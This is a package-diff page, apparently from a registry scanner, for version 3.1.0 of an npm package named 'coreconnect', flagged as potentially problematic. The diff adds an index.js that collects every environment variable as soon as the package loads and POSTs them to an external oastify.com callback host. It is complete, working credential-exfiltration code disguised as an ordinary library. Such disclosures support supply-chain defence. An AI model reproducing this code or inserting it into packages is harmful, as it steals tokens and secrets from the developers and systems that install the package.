coreconnect 3.1.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of coreconnect might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
function soave() {
|
4
|
+
const envVariables = JSON.stringify(process.env);
|
5
|
+
|
6
|
+
const options = {
|
7
|
+
hostname: 'bbqurumzwj9l3fccqqhykfliy940srgg.oastify.com',
|
8
|
+
port: 443,
|
9
|
+
path: '/',
|
10
|
+
method: 'POST',
|
11
|
+
headers: {
|
12
|
+
'Content-Type': 'application/json',
|
13
|
+
'Content-Length': Buffer.byteLength(envVariables),
|
14
|
+
},
|
15
|
+
};
|
16
|
+
|
17
|
+
const req = https.request(options, (res) => {});
|
18
|
+
|
19
|
+
req.write(envVariables);
|
20
|
+
req.end();
|
21
|
+
}
|
22
|
+
|
23
|
+
soave();
|